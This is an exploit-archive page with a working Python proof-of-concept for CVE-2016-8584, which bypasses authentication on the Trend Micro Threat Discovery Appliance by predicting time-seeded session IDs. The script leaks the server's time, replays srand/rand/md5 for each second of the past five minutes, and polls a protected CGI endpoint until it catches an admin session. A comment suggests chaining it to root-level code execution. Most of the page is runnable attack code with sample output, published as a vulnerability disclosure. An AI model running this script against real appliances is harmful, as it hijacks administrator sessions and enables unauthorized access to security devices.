Trend Micro Threat Discovery Appliance 2.6.1062r1 Session Generation Authentication Bypass



EKU-ID: 6533 CVE: 2016-8584 OSVDB-ID:
Author: mr_me Published: 2017-04-20 Verified: Verified
Download:

Rating

☆☆☆☆☆
Home


#!/usr/bin/python
"""
Trend Micro Threat Discovery Appliance <= 2.6.1062r1 Session Generation Authentication Bypass Vulnerability
Found by: Roberto Suggi Liverani - @malerisch - http://blog.malerisch.net/ & Steven Seeley of Source Incite
File: TDA_InstallationCD.2.6.1062r1.en_US.iso
sha1: 8da4604c92a944ba8f7744641bce932df008f9f9
Download: http://downloadcenter.trendmicro.com/index.php?regs=NABU&clk=latest&clkval=1787&lang_loc=1

Summary:
========

There exists an authentication bypass vulnerability in the way the Trend Micro Threat Discovery Appliance generates sessions.
The mechanism generates a session based on md5(srand(time())) which is obviously not random enough.

This means an attacker can keep generating the same sessions each second and attempt a protected request, when an admin logs 
in, the code will detect a valid session.

Exploitation:
=============

What we do is:
1. We leak the servers date header 
2. Generate a timestamp using the epoch
3. Go back by 5 minutes
4. Generate session values for each second and attempt a request
5. Fail? GOTO 4 and repeat.

This will catch any last 5 minute logins as well as any future logins using the current ip address of the attacker. 
Once a valid session is caught, automatic exploitation of 1/10 other RCE's discovered will give us root, unauthenticated.

Notes:
======

- The vulnerable code is in mini_httpd/utils.so, please see bug.png for a screenshot of the assembly
- This poc code needs to run on a linux box due to the loading of libc (required since the target is linux)
- This attack will only work if the attacker and the admin have the same IP address. This can occur in several situations:

 1. Some sort of proxy for both the attacker and the admin
 2. NAT'ed network whereby the admin and attacker share the same IP
 3. A typically LAN whereby an admin logins and then disconnects and then an attacker gets the same IP assigned
 4. A typical WiFi network whereby an attacker can de-auth his/her victim
 5. etc

Example:
========

root@kali:~# ./poc.py 
(+) usage: ./poc.py <target>
(+) example: ./poc.py 172.16.175.123
root@kali:~# ./poc.py 172.16.175.123
(+) leaking timestamp...
(+) re-winding sessions by 5 minutes...
(+) started session guessing...
(+) identified session: cbdcec1d35552662df5ab36decf34326 
(+) attacker can now log with this session!
"""

import sys
import time
import ctypes
import requests
import hashlib
import calendar
import email.utils as eut
from requests.packages.urllib3.exceptions import InsecureRequestWarning

# fix the warnings...
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

i = 0

def get_timestamp(date):
    """
    this function just parses the date http response header string to
    generate a time tuple and then a timestamp from the epoch of 1970
    """
    return calendar.timegm(eut.parsedate(date))

def leak_server_time():
    """
    this function leaks the initial date...
    """
    r = requests.get("https://%s/" % target, verify=False)
    return r.headers['date']

def check_session(sessid):
    """
    here we just valid the generated session
    """
    r = requests.get('https://'+target+'/cgi-bin/firmware_updated.cgi', verify=False, cookies={"session_id": sessid })
    if "updated" in r.text:
        return True
    else:
        return False

def attack(timestamp):
    """
    We take the leaked timestamp and generate a session
    by seeding libc's rand() and then md5 the resultant
    """
    global i
    i += 1

    # add an extra second
    timestamp += i

    # seeding rand()
    libc.srand(timestamp)

    # md5 the session
    m = hashlib.md5()

    # so called, rand...
    m.update(str(libc.rand()))

    # our session
    return m.hexdigest()
	
def main():
    """
    The start of the pain train
    """
    global target, libc

    # the foo sauce
    libc = ctypes.CDLL('libc.so.6')

    if len(sys.argv) != 2:
        print "(+) usage: %s <target>" % sys.argv[0]
        print "(+) example: %s 172.16.175.123" % sys.argv[0]
        sys.exit(-1)

    target = sys.argv[1]
    print "(+) leaking timestamp..."
    ts = get_timestamp(leak_server_time())
    print "(+) re-winding sessions by 5 minutes..."

    # last 5 minutes, since a session last 6 minutes...
    ts = ts - (5*60)
    print "(+) started session guessing..."
	
    while True:
        attempt = attack(ts)
        c = check_session(attempt)
        if c == True:
            # do your evil things here, like get rce as root!
            print "(+) identified session: %s " % attempt
            print "(+) attacker can now log with this session!"
            break
			
if __name__ == '__main__':
    main()